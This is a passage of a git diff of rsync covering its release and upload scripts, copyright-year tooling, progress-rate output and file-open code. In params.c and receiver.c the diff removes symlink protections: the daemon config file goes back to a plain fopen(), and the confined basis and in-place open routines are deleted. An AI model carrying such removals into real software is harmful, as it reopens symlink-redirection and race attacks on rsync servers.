Prime gpg agent and then sign the tar + diff.\n-    section(\"Priming gpg agent\")\n-    cmd_run(\"touch TeMp; gpg --sign TeMp; rm -f TeMp TeMp.gpg\")\n-\n-    for fn in (srctar_file, diff_file):\n-        if not os.path.isfile(fn):\n-            die(f\"Missing file to sign: {fn}. The artefact build did not complete.\")\n-        asc_fn = fn + '.asc'\n-        if os.path.lexists(asc_fn):\n-            os.unlink(asc_fn)\n-        section(f\"GPG-signing {fn}\")\n-        res = cmd_run(['gpg', '--batch', '-ba', fn])\n-        if res.returncode not in (0, 2):\n-            die(\"gpg signing failed.\")\n-\n-\n-# ---------- Step 9: top-level hard links ----------\n-\n-def step_9_toplinks(args):\n-    require_top_of_checkout()\n-    state = load_state()\n-\n-    pre = state['pre']\n-    if pre:\n-        print(\"Skipping: pre-releases do not get top-level hard links.\")\n-        return\n-\n-    version     = state['version']\n-    lastversion = state['lastversion']\n-    srcdir      = state['srcdir']\n-    srcdiffdir  = state['srcdiffdir']\n-\n-    rsync_ver     = 'rsync-' + version\n-    rsync_lastver = 'rsync-' + lastversion\n-    srctar_file = os.path.join(FTP_DIR, srcdir, f\"{rsync_ver}.tar.gz\")\n-    diff_file   = os.path.join(FTP_DIR, srcdiffdir,\n-                               f\"{rsync_lastver}-{version}.diffs.gz\")\n-\n-    section(\"Removing stale top-level rsync-* files\")\n-    for find in [f'{FTP_DIR}/rsync-*.gz',\n-                 f'{FTP_DIR}/rsync-*.asc',\n-                 f'{FTP_DIR}/src-previews/rsync-*diffs.gz*']:\n-        for fn in glob.glob(find):\n-            os.unlink(fn)\n-\n-    top_link = [\n-        srctar_file, srctar_file + '.asc',\n-        diff_file,   diff_file + '.asc',\n-    ]\n-    for fn in top_link:\n-        target = re.sub(r'/src(-\\w+)?/', '/', fn)\n-        if os.path.lexists(target):\n-            os.unlink(target)\n-        os.link(fn, target)\n-        print(f\"  linked {target}\")\n-\n-\n-# ---------- Step 10: push ftp ----------\n-\n-def step_10_push_ftp(args):\n-    host = require_samba_host()\n-    if not os.path.isdir(FTP_DIR):\n-        die(f\"{FTP_DIR} does not exist. Run --stage-release first.\")\n-    section(f\"rsync ftp dir to {host}\")\n-    rsync_with_confirm(['-aivOHP', '--chown=:rsync', '--del',\n-                        f'-f._{os.path.join(FTP_DIR, \".filt\")}',\n-                        f'{FTP_DIR}/', f'{host}:{FTP_REMOTE_PATH}/'])\n-\n-\n-# ---------- Step 11: push html ----------\n-\n-def step_11_push_html(args):\n-    host = require_samba_host()\n-    if not os.path.isdir(HTML_DIR):\n-        die(f\"{HTML_DIR} does not exist. Run --stage-release first.\")\n-    section(f\"rsync html dir to {host}\")\n-    filt = os.path.join(HTML_DIR, 'filt')\n-    rsync_with_confirm(['-aivOHP', '--chown=:rsync', '--del',\n-                        f'-f._{filt}',\n-                        f'{HTML_DIR}/', f'{host}:{HTML_REMOTE_PATH}/'])\n-\n-\n-# ---------- Step 12: print final release instructions ----------\n-\n-def step_12_finish(args):\n-    state = load_state()\n-    version = state['version']\n-    v_ver = 'v' + version\n-\n-    print(f\"\"\"\\\n-{DASH_LINE}\n-The release PR has already updated master. Push the signed tag from this checkout:\n-\n-    git push origin {v_ver}\n-\n-If you have a 'samba' remote configured (git.samba.org:/data/git/rsync.git):\n-\n-    git push samba {v_ver}\n-\n-Then upload the tarball + .asc to the GitHub release for {v_ver},\n-and announce on rsync-announce@, rsync@, and Discord.\n-\n-NOTE! Also update the PPAs if needed\n-\"\"\")\n-\n-\n-# ---------- shared rsync-with-confirm ----------\n-\n-def rsync_with_confirm(rsync_args):\n-    \"\"\"Run an rsync command in dry-run mode, then ask before running for real.\"\"\"\n-    cmd_run(['rsync', '--dry-run', *rsync_args])\n-    if confirm(\"Run without --dry-run?\"):\n-        cmd_run(['rsync', *rsync_args])\n-\n-\n-# ---------- phases ----------\n-\n-def phase_prepare_pr(args):\n-    step_2_prepare(args)\n-    step_3_tweak(args)\n-    step_4_build(args)\n-    section(\"Release PR source prepared\")\n-    print(\"Review the rsync-web release announcement in this PR before merging it.\")\n-\n-\n-def phase_stage_release(args):\n-    step_4_build(args)\n-    step_5_verify(args)\n-    release_preflight()\n-    step_1_fetch(args)\n-    verify_artefact_inputs()\n-    step_6_tag(args)\n-    step_7_tarball(args)\n-    step_8_update_ftp(args)\n-    step_9_toplinks(args)\n-    state = load_state()\n-    state['staged_commit'] = cmd_txt_chk(['git', 'rev-parse', 'HEAD']).out.strip()\n-    save_state(state)\n-\n-\n-def phase_publish_release(args):\n-    state = load_state()\n-    dirty = cmd_txt_chk(['git', 'status', '--porcelain=v1']).out\n-    if dirty:\n-        die(\"Release publication requires a clean checkout:\\n\" + dirty)\n-    head = cmd_txt_chk(['git', 'rev-parse', 'HEAD']).out.strip()\n-    if state.get('staged_commit') != head:\n-        die(\"The current commit was not staged by --stage-release.\")\n-\n-    version = state['version']\n-    lastversion = state['lastversion']\n-    tag = 'v' + version\n-    target = cmd_txt_chk(['git', 'rev-list', '-n', '1', tag]).out.strip()\n-    if target != head:\n-        die(f\"Tag {tag} does not point to staged commit {head}.\")\n-    cmd_chk(['git', 'tag', '-v', tag])\n-\n-    artefacts = [\n-        os.path.join(FTP_DIR, state['srcdir'], f'rsync-{version}.tar.gz'),\n-        os.path.join(FTP_DIR, state['srcdiffdir'],\n-                     f'rsync-{lastversion}-{version}.diffs.gz'),\n-    ]\n-    for fn in artefacts:\n-        if not os.path.isfile(fn) or not os.path.isfile(fn + '.asc'):\n-            die(f\"Missing staged release artefact or signature: {fn}\")\n-        cmd_chk(['gpg', '--verify', fn + '.asc', fn])\n-\n-    verify_html_snapshot()\n-\n-    step_10_push_ftp(args)\n-    step_11_push_html(args)\n-    step_12_finish(args)\n-\n-\n-PHASE_FUNCS = {\n-    'prepare-pr': phase_prepare_pr,\n-    'stage-release': phase_stage_release,\n-    'publish-release': phase_publish_release,\n-}\n-\n-\n-def signal_handler(sig, frame):\n-    die(\"\\nAborting due to SIGINT.\")\n-\n-\n-def main():\n-    parser = argparse.ArgumentParser(\n-        description=\"Phase-based release script for rsync.\",\n-        formatter_class=argparse.RawDescriptionHelpFormatter,\n-        epilog=\"Run --list to see the release phases. Each invocation runs one phase.\")\n-    parser.add_argument('--branch', '-b', dest='master_branch', default='master',\n-                        help=\"The branch to release (default: master).\")\n-    parser.add_argument('--list', action='store_true',\n-                        help=\"List all release phases and exit.\")\n-    grp = parser.add_mutually_exclusive_group()\n-    for flag, descr in PHASES:\n-        grp.add_argument('--' + flag, dest='phase', action='store_const',\n-                         const=flag, help=descr)\n-    args = parser.parse_args()\n-\n-    if args.list:\n-        print(\"Release phases:\")\n-        for flag, descr in PHASES:\n-            print(f\"  --{flag:18s} {descr}\")\n-        return\n-\n-    if not args.phase:\n-        parser.error(\"pick one release phase (or --list to see them).\")\n-\n-    signal.signal(signal.SIGINT, signal_handler)\n-    os.environ['LESS'] = 'mqeiXR'\n-    PHASE_FUNCS[args.phase](args)\n-\n-\n-if __name__ == '__main__':\n-    main()\n-\n-# vim: sw=4 et ft=python\ndiff --git a/packaging/samba-rsync b/packaging/samba-rsync\nnew file mode 100755\nindex 0000000..b291b27\n--- /dev/null\n+++ b/packaging/samba-rsync\n@@ -0,0 +1,124 @@\n+#!/bin/bash\n+# This script makes it easy to update the ftp & html directories on the samba.org server.\n+# It expects the 2 *_DEST directories to contain updated files that need to be sent to\n+# the remote server. If these directories don't exist yet, they will be copied from the\n+# remote server (while also making the html dir a git checkout).\n+\n+FTP_SRC=\"$HOME/samba-rsync-ftp\"\n+HTML_SRC=\"$HOME/samba-rsync-html\"\n+\n+FTP_DEST=\"/home/ftp/pub/rsync\"\n+HTML_DEST=\"/home/httpd/html/rsync\"\n+\n+HTML_GIT='git.samba.org:/data/git/rsync-web.git'\n+\n+export RSYNC_PARTIAL_DIR=''\n+\n+case \"$RSYNC_SAMBA_HOST\" in\n+    *.samba.org) ;;\n+    *)\n+\techo \"You must set RSYNC_SAMBA_HOST in your environment to the samba hostname to use.\" >&2\n+\texit 1\n+\t;;\n+esac\n+\n+MODE=''\n+REVERSE=''\n+while (( $# )); do\n+    case \"$1\" in\n+\t-R|--reverse) REVERSE=yes ;;\n+\tf|ftp) MODE=ftp ;;\n+\th|html) MODE=html ;;\n+\t-h|--help)\n+\t    echo \"Usage: [-R] [f|ftp|h|html]\"\n+\t    echo \"-R --reverse  Copy the files from the server to the local host.\"\n+\t    echo \"              The default is to update the remote files.\"\n+\t    echo \"-h --help     Output this help message.\"\n+\t    echo \" \"\n+\t    echo \"The script will prompt if ftp or html is not specified on the command line.\"\n+\t    echo \"Only one category can be copied at a time. When pulling html files, a git\"\n+\t    echo \"checkout will be either created or updated prior to the rsync copy.\"\n+\t    exit\n+\t    ;;\n+\t*)\n+\t    echo \"Invalid option: $1\" >&2\n+\t    exit 1\n+\t    ;;\n+    esac\n+    shift\n+done\n+\n+while [ ! \"$MODE\" ]; do\n+    if [ \"$REVERSE\" = yes ]; then\n+\tDIRECTION=FROM\n+    else\n+\tDIRECTION=TO\n+    fi\n+    echo -n \"Copy which files $DIRECTION the server? ftp or html? \"\n+    read ans\n+    case \"$ans\" in\n+\tf*) MODE=ftp ;;\n+\th*) MODE=html ;;\n+\t'') exit 1 ;;\n+\t*) echo \"You must answer f or h to copy the ftp or html data.\" ;;\n+    esac\n+done\n+\n+if [ \"$MODE\" = ftp ]; then\n+    SRC_DIR=\"$FTP_SRC\"\n+    DEST_DIR=\"$FTP_DEST\"\n+    FILT=\".filt\"\n+else\n+    SRC_DIR=\"$HTML_SRC\"\n+    DEST_DIR=\"$HTML_DEST\"\n+    FILT=\"filt\"\n+fi\n+\n+function do_rsync {\n+    rsync --dry-run \"${@}\" | grep -v 'is uptodate$'\n+    echo ''\n+    echo -n \"Run without --dry-run? [n] \"\n+    read ans\n+    case \"$ans\" in\n+\ty*) rsync \"${@}\" | grep -v 'is uptodate$' ;;\n+    esac\n+}\n+\n+if [ -d \"$SRC_DIR\" ]; then\n+    REVERSE_RSYNC=do_rsync\n+else\n+    echo \"The directory $SRC_DIR does not exist yet.\"\n+    echo -n \"Do you want to create it? [n] \"\n+    read ans\n+    case \"$ans\" in\n+\ty*) ;;\n+\t*) exit 1 ;;\n+    esac\n+    REVERSE=yes\n+    REVERSE_RSYNC=rsync\n+fi\n+\n+if [ \"$REVERSE\" = yes ]; then\n+    OPTS='-aivOHP'\n+    TMP_FILT=\"$SRC_DIR/tmp-filt\"\n+    echo \"Copying files from $RSYNC_SAMBA_HOST to $SRC_DIR ...\"\n+    if [ \"$MODE\" = html ]; then\n+\tif [ $REVERSE_RSYNC = rsync ]; then\n+\t    git clone \"$HTML_GIT\" \"$SRC_DIR\" || exit 1\n+\telse\n+\t    cd \"$SRC_DIR\" || exit 1\n+\t    git pull || exit 1\n+\tfi\n+\tsed -n -e 's/[-P]/H/p' \"$SRC_DIR/$FILT\" >\"$TMP_FILT\"\n+\tOPTS=\"${OPTS}f._$TMP_FILT\"\n+    else\n+\tOPTS=\"${OPTS}f:_$FILT\"\n+    fi\n+    $REVERSE_RSYNC \"$OPTS\" \"$RSYNC_SAMBA_HOST:$DEST_DIR/\" \"$SRC_DIR/\"\n+    rm -f \"$TMP_FILT\"\n+    exit\n+fi\n+\n+cd \"$SRC_DIR\" || exit 1\n+echo \"Copying files from $SRC_DIR to $RSYNC_SAMBA_HOST ...\"\n+do_rsync -aivOHP --chown=:rsync --del -f._$FILT . \"$RSYNC_SAMBA_HOST:$DEST_DIR/\"\ndiff --git a/packaging/send-news b/packaging/send-news\nnew file mode 100755\nindex 0000000..c83a74c\n--- /dev/null\n+++ b/packaging/send-news\n@@ -0,0 +1,33 @@\n+#!/bin/bash -e\n+\n+# This script expects the ~/src/rsync directory to contain the rsync\n+# source that has been updated. It also expects the auto-build-save\n+# directory to have been created prior to the running of configure so\n+# that each branch has its own build directory underneath. This supports\n+# the maintainer workflow for the rsync-patches files maintenace.\n+\n+FTP_SRC=\"$HOME/samba-rsync-ftp\"\n+FTP_DEST=\"/home/ftp/pub/rsync\"\n+MD_FILES=\"README.md INSTALL.md NEWS.md\"\n+\n+case \"$RSYNC_SAMBA_HOST\" in\n+    *.samba.org) ;;\n+    *)\n+\techo \"You must set RSYNC_SAMBA_HOST in your environment to the samba hostname to use.\" >&2\n+\texit 1\n+\t;;\n+esac\n+\n+if [ ! -d \"$FTP_SRC\" ]; then\n+    packaging/samba-rsync ftp # Ask to initialize the local ftp dir\n+fi\n+\n+cd ~/src/rsync\n+\n+make man\n+./md-convert --dest=\"$FTP_SRC\" $MD_FILES\n+rsync -aiic $MD_FILES auto-build-save/master/*.?.html \"$FTP_SRC\"\n+\n+cd \"$FTP_SRC\"\n+\n+rsync -aiic README.* INSTALL.* NEWS.* *.?.html \"$RSYNC_SAMBA_HOST:$FTP_DEST/\"\ndiff --git a/packaging/year-tweak b/packaging/year-tweak\nindex 0a22b8f..69d2f2f 100755\n--- a/packaging/year-tweak\n+++ b/packaging/year-tweak\n@@ -7,9 +7,11 @@\n import sys, os, re, argparse, subprocess\n from datetime import datetime\n \n+MAINTAINER_NAME = 'Wayne Davison'\n+MAINTAINER_SUF = ' ' + MAINTAINER_NAME + \"\\n\"\n+\n def main():\n     latest_year = '2000'\n-    saw_file = False\n \n     proc = subprocess.Popen('support/git-set-file-times --list'.split(), stdout=subprocess.PIPE, encoding='utf-8')\n     for line in proc.stdout:\n@@ -18,13 +20,13 @@ def main():\n             print(\"Failed to parse line from git-set-file-times:\", line)\n             sys.exit(1)\n         m = argparse.Namespace(**m.groupdict())\n-        saw_file = True\n         if m.year > latest_year:\n             latest_year = m.year\n+        if m.fn.startswith('zlib/') or m.fn.startswith('popt/'):\n+            continue\n+        if re.search(r'\\.(c|h|sh|test)$', m.fn):\n+            maybe_edit_copyright_year(m.fn, m.year)\n     proc.communicate()\n-    if proc.returncode != 0 or not saw_file:\n-        print(\"support/git-set-file-times failed\", file=sys.stderr)\n-        sys.exit(1)\n \n     fn = 'latest-year.h'\n     with open(fn, 'r', encoding='utf-8') as fh:\n@@ -37,8 +39,55 @@ def main():\n             fh.write(txt)\n \n \n+def maybe_edit_copyright_year(fn, year):\n+    opening_lines = [ ]\n+    copyright_line = None\n+\n+    with open(fn, 'r', encoding='utf-8') as fh:\n+        for lineno, line in enumerate(fh):\n+            opening_lines.append(line)\n+            if lineno > 3 and not re.search(r'\\S', line):\n+                break\n+            m = re.match(r'^(?P<pre>.*Copyright\\s+\\S+\\s+)(?P<year>\\d\\d\\d\\d(?:-\\d\\d\\d\\d)?(,\\s+\\d\\d\\d\\d)*)(?P<suf>.+)', line)\n+            if not m:\n+                continue\n+            copyright_line = argparse.Namespace(**m.groupdict())\n+            copyright_line.lineno = len(opening_lines)\n+            copyright_line.is_maintainer_line = MAINTAINER_NAME in copyright_line.suf\n+            copyright_line.txt = line\n+            if copyright_line.is_maintainer_line:\n+                break\n+\n+        if not copyright_line:\n+            return\n+\n+        if copyright_line.is_maintainer_line:\n+            cyears = copyright_line.year.split('-')\n+            if year == cyears[0]:\n+                cyears = [ year ]\n+            else:\n+                cyears = [ cyears[0], year ]\n+            txt = copyright_line.pre + '-'.join(cyears) + MAINTAINER_SUF\n+            if txt == copyright_line.txt:\n+                return\n+            opening_lines[copyright_line.lineno - 1] = txt\n+        else:\n+            if fn.startswith('lib/') or fn.startswith('testsuite/'):\n+                return\n+            txt = copyright_line.pre + year + MAINTAINER_SUF\n+            opening_lines[copyright_line.lineno - 1] += txt\n+\n+        remaining_txt = fh.read()\n+\n+    print(f\"Updating {fn} with year {year}\")\n+\n+    with open(fn, 'w', encoding='utf-8') as fh:\n+        fh.write(''.join(opening_lines))\n+        fh.write(remaining_txt)\n+\n+\n if __name__ == '__main__':\n-    parser = argparse.ArgumentParser(description=\"Grab the year of the last mod for our c & h files and make sure the LATEST_YEAR value is accurate.\")\n+    parser = argparse.ArgumentParser(description=\"Grab the year of last mod for our c & h files and make sure the Copyright comment is up-to-date.\")\n     args = parser.parse_args()\n     main()\n \ndiff --git a/params.c b/params.c\nindex 933db7c..da8a8f8 100644\n--- a/params.c\n+++ b/params.c\n@@ -580,14 +580,7 @@ static FILE *OpenConfFile( char *FileName )\n     return( NULL );\n     }\n \n-  /* rsyncd.conf path (--config or default): a planted symlink could redirect\n-   * the daemon's config read.  Refuse symlinks not owned by uid 0 or euid. */\n-  {\n-    int cfg_fd = open_no_attacker_symlinks( FileName, O_RDONLY, 0 );\n-    OpenedFile = cfg_fd >= 0 ? fdopen( cfg_fd, \"r\" ) : NULL;\n-    if( !OpenedFile && cfg_fd >= 0 )\n-      close( cfg_fd );\n-  }\n+  OpenedFile = fopen( FileName, \"r\" );\n   if( NULL == OpenedFile )\n     {\n     rsyserr(FLOG, errno, \"unable to open config file \\\"%s\\\"\",\ndiff --git a/pipe.c b/pipe.c\nindex e0a847c..3e5f038 100644\n--- a/pipe.c\n+++ b/pipe.c\n@@ -130,7 +130,6 @@ pid_t local_child(int argc, char **argv, int *f_in, int *f_out,\n \tif (pid == 0) {\n \t\tam_sender = 0;\n \t\tam_server = 1;\n-\t\tniceness_use_remote();\n \t\tfilesfrom_fd = -1;\n \t\tmunge_symlinks = 0; /* Each side needs its own option. */\n \t\tchmod_modes = NULL; /* Let the sending side handle this. */\ndiff --git a/progress.c b/progress.c\nindex 21ae33b..87207fb 100644\n--- a/progress.c\n+++ b/progress.c\n@@ -26,7 +26,6 @@\n extern int am_server;\n extern int flist_eof;\n extern int quiet;\n-extern int human_readable;\n extern int need_unsorted_flist;\n extern int output_needs_newline;\n extern int stdout_format_has_i;\n@@ -70,10 +69,10 @@ static unsigned long msdiff(struct timeval *t1, struct timeval *t2)\n static void rprint_progress(OFF_T ofs, OFF_T size, struct timeval *now, int is_last)\n {\n \tchar rembuf[64], eol[128];\n-\tconst char *rate_str;\n+\tconst char *units;\n \tunsigned long diff;\n \tdouble rate, remain;\n-\tint pct, rate_human_level;\n+\tint pct;\n \n \tif (is_last) {\n \t\tint len = snprintf(eol, sizeof eol,\n@@ -94,7 +93,7 @@ static void rprint_progress(OFF_T ofs, OFF_T size, struct timeval *now, int is_l\n \t\t/* Compute stats based on the starting info. */\n \t\tif (!ph_start.time.tv_sec || !(diff = msdiff(&ph_start.time, now)))\n \t\t\tdiff = 1;\n-\t\trate = (double) (ofs - ph_start.ofs) * 1000.0 / diff;\n+\t\trate = (double) (ofs - ph_start.ofs) * 1000.0 / diff / 1024.0;\n \t\t/* Switch to total time taken for our last update. */\n \t\tremain = (double) diff / 1000.0;\n \t} else {\n@@ -102,8 +101,18 @@ static void rprint_progress(OFF_T ofs, OFF_T size, struct timeval *now, int is_l\n \t\t/* Compute stats based on recent progress. */\n \t\tif (!(diff = msdiff(&ph_list[oldest_hpos].time, now)))\n \t\t\tdiff = 1;\n-\t\trate = (double) (ofs - ph_list[oldest_hpos].ofs) * 1000.0 / diff;\n-\t\tremain = rate ? (double) (size - ofs) / rate : 0.0;\n+\t\trate = (double) (ofs - ph_list[oldest_hpos].ofs) * 1000.0 / diff / 1024.0;\n+\t\tremain = rate ? (double) (size - ofs) / rate / 1000.0 : 0.0;\n+\t}\n+\n+\tif (rate > 1024*1024) {\n+\t\trate /= 1024.0 * 1024.0;\n+\t\tunits = \"GB/s\";\n+\t} else if (rate > 1024) {\n+\t\trate /= 1024.0;\n+\t\tunits = \"MB/s\";\n+\t} else {\n+\t\tunits = \"kB/s\";\n \t}\n \n \tif (remain < 0 || remain > 9999.0 * 3600.0)\n@@ -117,13 +126,8 @@ static void rprint_progress(OFF_T ofs, OFF_T size, struct timeval *now, int is_l\n \n \toutput_needs_newline = 0;\n \tpct = ofs == size ? 100 : (int) (100.0 * ofs / size);\n-\t/* Keep progress rates scaled while byte counts retain the level-1 default. */\n-\trate_human_level = human_readable == 1 ? 2 : human_readable;\n-\trate_str = rate >= INT64_MAX ? \">MAX \"\n-\t\t: do_big_num((int64)rate, rate_human_level, NULL);\n-\trput_progress();\n-\trprintf(FCLIENT, \"%15sB %3d%% %7sB/s %s%s\", human_num(ofs), pct,\n-\t\trate_str, rembuf, eol);\n+\trprintf(FCLIENT, \"\\r%15s %3d%% %7.2f%s %s%s\",\n+\t\thuman_num(ofs), pct, rate, units, rembuf, eol);\n \tif (!is_last && !quiet) {\n \t\toutput_needs_newline = 1;\n \t\trflush(FCLIENT);\ndiff --git a/receiver.c b/receiver.c\nindex 3a623cd..edfbb21 100644\n--- a/receiver.c\n+++ b/receiver.c\n@@ -25,7 +25,6 @@\n extern int dry_run;\n extern int do_xfers;\n extern int am_root;\n-extern int am_daemon;\n extern int am_server;\n extern int inc_recurse;\n extern int log_before_transfer;\n@@ -71,8 +70,6 @@ extern int fuzzy_basis;\n \n extern struct name_num_item *xfer_sum_nni;\n extern int xfer_sum_len;\n-extern int use_secure_symlinks;\n-extern int operator_path_resolve;\n \n static struct bitbag *delayed_bits = NULL;\n static int phase = 0, redoing = 0;\n@@ -85,220 +82,6 @@ static int updating_basis_or_equiv;\n #define MAX_UNIQUE_NUMBER 999999\n #define MAX_UNIQUE_LOOP 100\n \n-/* Open a basis/output path that may legitimately be an operator-trusted\n- * ABSOLUTE path -- e.g. an absolute --partial-dir (\"a directory reserved for\n- * partial-dir work\") or --backup-dir. secure_relative_open() deliberately\n- * rejects an absolute relpath, so feeding it the whole absolute partialptr\n- * (with a NULL basedir) returns EINVAL: the basis fd is then -1, no basis is\n- * mapped, and receive_data() omits every matched block from the whole-file\n- * verification checksum -> a spurious \"failed verification\" that strands the\n- * (correct) data in the partial-dir forever.\n- *\n- * The operator's directory is trusted; only the leaf basename is peer-supplied.\n- * So when basedir is NULL and relpath is absolute, split it into its directory\n- * (trusted) and leaf and confine just the leaf -- exactly how secure_relative_\n- * open already trusts an absolute basedir while O_NOFOLLOW-confining the leaf.\n- * Anything else is a straight pass-through that preserves the strict contract. */\n-static int secure_basis_open(const char *basedir, const char *relpath, int flags, mode_t mode)\n-{\n-\textern int am_daemon, am_chrooted;\n-\textern unsigned int module_dirlen;\n-\n-\t/* \"insecure links = yes\": restore the 3.2.7 plain open so an operator/peer\n-\t * alt-dest basis follows symlinks like legacy rsync, the same opt-out the\n-\t * other daemon symlink sites honour. */\n-\tif (symlink_optout_allowed()) {\n-\t\tif (basedir) {\n-\t\t\tchar fullpath[MAXPATHLEN];\n-\t\t\tif (pathjoin(fullpath, sizeof fullpath, basedir, relpath) >= sizeof fullpath) {\n-\t\t\t\terrno = ENAMETOOLONG;\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\treturn do_open(fullpath, flags, mode);\n-\t\t}\n-\t\treturn do_open(relpath, flags, mode);\n-\t}\n-\n-\t/* A peer-supplied --partial-dir basis/staging path (operator_path_resolve set\n-\t * by recv_files) may be absolute (module_dir-prefixed on a non-chroot daemon)\n-\t * and traverse a symlink the secure_relative_open path can't confine: resolve\n-\t * it with the ownership walk, which follows a uid0/euid-owned symlink but\n-\t * refuses a foreign one AND (via abspath_excluded_by_module) refuses a target\n-\t * the module's exclude hides -- closing the partial-dir exclude bypass.  The\n-\t * final component is opened with O_NOFOLLOW so an operator-path leaf symlink\n-\t * cannot be selected as an alternate basis. */\n-#if defined AT_FDCWD && defined O_NOFOLLOW && defined O_DIRECTORY\n-\tif (operator_path_resolve) {\n-\t\tchar fullpath[MAXPATHLEN];\n-\t\tconst char *p = relpath;\n-\t\tconst char *leaf;\n-\t\tint dfd, fd, saved_errno;\n-\t\tif (basedir) {\n-\t\t\tif (pathjoin(fullpath, sizeof fullpath, basedir, relpath) >= sizeof fullpath) {\n-\t\t\t\terrno = ENAMETOOLONG;\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\tp = fullpath;\n-\t\t}\n-\t\tdfd = owner_walk_parent(p, &leaf);\n-\t\tif (dfd < 0)\n-\t\t\treturn -1;\n-\t\tfd = do_open_atfd(dfd, leaf, flags, mode);\n-\t\tsaved_errno = fd < 0 ? errno : 0;\n-\t\tclose(dfd);\n-\t\terrno = saved_errno;\n-\t\treturn fd;\n-\t}\n-#endif\n-\n-\t/* The confined resolver is needed for the sanitizing daemon\n-\t * (am_daemon && !am_chrooted) and for a /./ inner-module chroot\n-\t * (am_chrooted && module_dirlen) -- in the latter the kernel chroot confines\n-\t * only the outer path, so a peer-chosen alt-dest basis index (fnamecmp_type)\n-\t * could otherwise reach an outside-inner-module file through a symlinked\n-\t * parent.  Local / remote-shell mode has no module boundary, and a plain\n-\t * \"use chroot = yes\" makes the kernel root the boundary, so there an alt-dest\n-\t * basis like --link-dest=../01 must resolve against the cwd as a bare open did\n-\t * before the hardening (confining it would reject the legitimate sibling\n-\t * \"..\", #915).  The re-anchoring in secure_relative_open() covers the\n-\t * in-module \"..\" climb for the inner-module case too. */\n-\tif (!am_daemon || (am_chrooted && !module_dirlen)) {\n-\t\tif (basedir) {\n-\t\t\tchar fullpath[MAXPATHLEN];\n-\t\t\tif (pathjoin(fullpath, sizeof fullpath, basedir, relpath) >= sizeof fullpath) {\n-\t\t\t\terrno = ENAMETOOLONG;\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\treturn do_open(fullpath, flags, mode);\n-\t\t}\n-\t\treturn do_open(relpath, flags, mode);\n-\t}\n-\n-\tif (!basedir && relpath && *relpath == '/') {\n-\t\tconst char *slash = strrchr(relpath, '/');\n-\t\tconst char *leaf = slash + 1;\n-\t\tchar dirbuf[MAXPATHLEN];\n-\t\tconst char *dir;\n-\t\tif (slash == relpath)\n-\t\t\tdir = \"/\";\n-\t\telse {\n-\t\t\tsize_t dlen = slash - relpath;\n-\t\t\tif (dlen >= sizeof dirbuf) {\n-\t\t\t\terrno = ENAMETOOLONG;\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\tmemcpy(dirbuf, relpath, dlen);\n-\t\t\tdirbuf[dlen] = '\\0';\n-\t\t\tdir = dirbuf;\n-\t\t}\n-\t\treturn secure_relative_open(dir, leaf, flags, mode);\n-\t}\n-\treturn secure_relative_open(basedir, relpath, flags, mode);\n-}\n-\n-/* Keep the ownership policy for every attempt to open a one-inplace partial\n- * output.  In particular, Linux's protected_regular compatibility retries\n- * must not downgrade an operator-path open to the ordinary path resolver. */\n-static int secure_recv_open(const char *path, int flags, mode_t mode, int owner_walk)\n-{\n-\tint fd, save = operator_path_resolve;\n-\n-\tif (owner_walk)\n-\t\toperator_path_resolve = 1;\n-\tfd = secure_basis_open(NULL, path, flags, mode);\n-\toperator_path_resolve = save;\n-\treturn fd;\n-}\n-\n-/* Open a read-only regular file for an in-place update without leaving its\n- * mode relaxed while protocol data is received.  Once a writable descriptor is\n- * open, later writes no longer depend on the pathname's permission bits, so\n- * restore the exact prior mode before returning to the transfer loop -- an\n- * abort (peer EOF, checksum failure, a signal) must not strand the file at\n- * 0600.  Requires a regular file: O_NOFOLLOW refuses a symlink at the leaf but\n- * not a directory swapped in after the type probe. */\n-static int open_readonly_inplace(const char *fname, int one_inplace)\n-{\n-\tSTRUCT_STAT cst;\n-\tmode_t prior_mode;\n-\tint cfd = -1, fd = -1;\n-\tint open_errno, restore_errno;\n-\n-\tif (use_secure_symlinks || one_inplace) {\n-#ifdef O_NOFOLLOW\n-\t\tcfd = secure_recv_open(fname, O_RDONLY|O_NOFOLLOW, 0, one_inplace);\n-\t\tif (cfd < 0)\n-\t\t\tgoto failed;\n-\t\tif (do_fstat(cfd, &cst) < 0 || !S_ISREG(cst.st_mode)) {\n-\t\t\terrno = EACCES;\t/* refused: not the read-only regular file we recover */\n-\t\t\tgoto failed;\n-\t\t}\n-\t\tprior_mode = cst.st_mode & CHMOD_BITS;\n-\t\tif (prior_mode & S_IWUSR) {\n-\t\t\t/* Already owner-writable, so adding S_IWUSR cannot be what an\n-\t\t\t * EACCES is about (an ACL, or the parent dir).  Don't touch the\n-\t\t\t * mode for nothing: each chmod risks losing a special bit. */\n-\t\t\terrno = EACCES;\n-\t\t\tgoto failed;\n-\t\t}\n-\t\tif (fchmod(cfd, prior_mode | S_IWUSR) < 0)\n-\t\t\tgoto failed;\n-\t\tfd = secure_recv_open(fname, O_WRONLY, 0600, one_inplace);\n-\t\topen_errno = errno;\n-\t\tif (fchmod(cfd, prior_mode) < 0) {\n-\t\t\trestore_errno = errno;\n-\t\t\tif (fd >= 0)\n-\t\t\t\tclose(fd);\n-\t\t\tfd = -1;\n-\t\t\topen_errno = restore_errno;\n-\t\t}\n-\t\tclose(cfd);\n-\t\terrno = open_errno;\n-\t\treturn fd;\n-#else\n-\t\t/* Without O_NOFOLLOW the resolver's oldest fallback would follow a\n-\t\t * raced symlink, so fail closed rather than chmod through it. */\n-\t\terrno = EACCES;\n-\t\treturn -1;\n-#endif\n-\t}\n-\n-\t/* Local and chrooted transfers retain the existing pathname semantics.\n-\t * Note the S_ISREG test here is a type check on a stable path, NOT race\n-\t * protection: do_stat() follows a leaf symlink and each call below\n-\t * re-resolves the name.  The fd-based branch above is the one that\n-\t * pins an inode; a chroot is what confines this one. */\n-\tif (do_stat(fname, &cst) < 0) {\n-\t\terrno = EACCES;\n-\t\treturn -1;\n-\t}\n-\tif (!S_ISREG(cst.st_mode) || (cst.st_mode & CHMOD_BITS & S_IWUSR)) {\n-\t\terrno = EACCES;\n-\t\treturn -1;\n-\t}\n-\tprior_mode = cst.st_mode & CHMOD_BITS;\n-\tif (do_chmod_at(fname, prior_mode | S_IWUSR) < 0)\n-\t\treturn -1;\n-\tfd = do_open(fname, O_WRONLY, 0600);\n-\topen_errno = errno;\n-\tif (do_chmod_at(fname, prior_mode) < 0) {\n-\t\trestore_errno = errno;\n-\t\tif (fd >= 0)\n-\t\t\tclose(fd);\n-\t\tfd = -1;\n-\t\topen_errno = 